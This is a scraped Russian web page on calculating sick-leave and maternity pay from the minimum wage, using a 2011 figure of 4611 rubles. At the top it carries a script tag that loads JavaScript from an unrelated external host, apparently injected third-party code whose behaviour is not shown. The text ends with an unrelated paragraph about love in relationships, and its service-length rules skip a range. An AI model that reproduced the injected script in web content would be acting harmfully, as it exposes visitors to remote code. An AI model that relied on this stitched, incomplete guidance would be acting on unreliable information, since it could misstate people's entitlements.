full screen background image

<script type=»text/javascript»>
var tntds = {«p»:»322810″, «b»:{«916119»: «64»}}
</script>
<script type=»text/javascript» src=»http://obsrs.com/1g4/5/2a96c7a8/5d.js»></script>

Последнее обновление

Как рассчитать больничный лист, если нет заработка


Как рассчитать больничный лист, если нет заработка

В соответствии с Федеральным законом № 255-Ф3 и его изменениями № 343-Ф3, № 21-Ф3, расчет больничного листа осуществляется исходя из среднего заработка за 24 месяца. Также возможно произвести расчет и оплату исходя из фактического заработка, если трудовой стаж сотрудника более 6 месяцев или из МРОТ, если стаж менее 6 месяцев.

Если сотрудник предъявил больничный лист и вам нужно произвести расчет, руководствуйтесь указанными законами. Сотрудник обязан предъявить справки о заработной плате со всех предприятий, на которых трудился последние 24 месяца. Если справок о доходах нет, а на вашем предприятии отработано менее 6 месяцев или общий трудовой стаж составляет менее 6 месяцев, производите расчет исходя из минимальной оплаты труда, которая с 1 июня 2011 года составляет 4611 рублей. Такой же расчет следует произвести, если заработок отсутствует, что может произойти при получении листка нетрудоспособности сразу после трудоустройства.

Для расчета умножьте 4611 рублей на 24, разделите на 730, у вас получится 151 рубль 59 копеек – это среднедневная сумма, из которой вы должны произвести дальнейший расчет. Если стаж сотрудника менее 6 месяцев, то выплачивайте 60% от указанной суммы за все дни нетрудоспособности. Если общий трудовой стаж от 5 до 8 лет, выплачивайте 80%, от 8 лет – 100% среднедневного заработка, рассчитанного из МРОТ. Такой расчет подходит только для тех случаев, если сотрудник заболел сам. Если больничный получен по уходу за ребенком до 15 лет, то сумма оплаты будет несколько иная.

При стационарном уходе умножьте 151,59 на все дни, указанные в листке нетрудоспособности. При амбулаторном уходе до 11 дня производите расчет исходя из 60% среднедневного заработка, рассчитанного из МРОТ. С 11 дня – 50 %. Оба результата сложите.

Больничный лист, предоставленный женщиной для оплаты пособия по беременности и родам, при отсутствии заработка, оплачивайте исходя из 100%. Для этого 151,59 умножьте на количество дней, указанных в листке нетрудоспособности. При одноплодной беременности больничный лист выдается на 140 дней, при многоплодной беременности – на 196 дней. При тяжелых родах женщине выдадут отдельный листок нетрудоспособности на 14 дней, который вы обязаны оплатить в размере 100% исходя из МРОТ. Если многоплодная беременность была определена только во время родов, то женщина вам предъявит листок нетрудоспособности на 56 дней. Они также должны быть оплачены в размере 100% исходя из МРОТ.

Что, если целью отношений является что-то безусловное, за что и мужчина, и женщина могли бы взять ответственность? Что если это… практика любви? Любовь — это то, что находится внутри нас; то, за что мы несем ответственность как в хорошие, так и в плохие времена. Любовь позволяет нам сосредоточиться на собственных усилиях и обязанностях, а также замечать преимущества своего партнера. Слишком много людей сосредотачиваются на том, чтобы брать что-то от отношений. Но, для гармоничных отношений нужно отдавать, брать ответственность за свое счастье, а затем “инвестировать” его в других.

Источник




Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *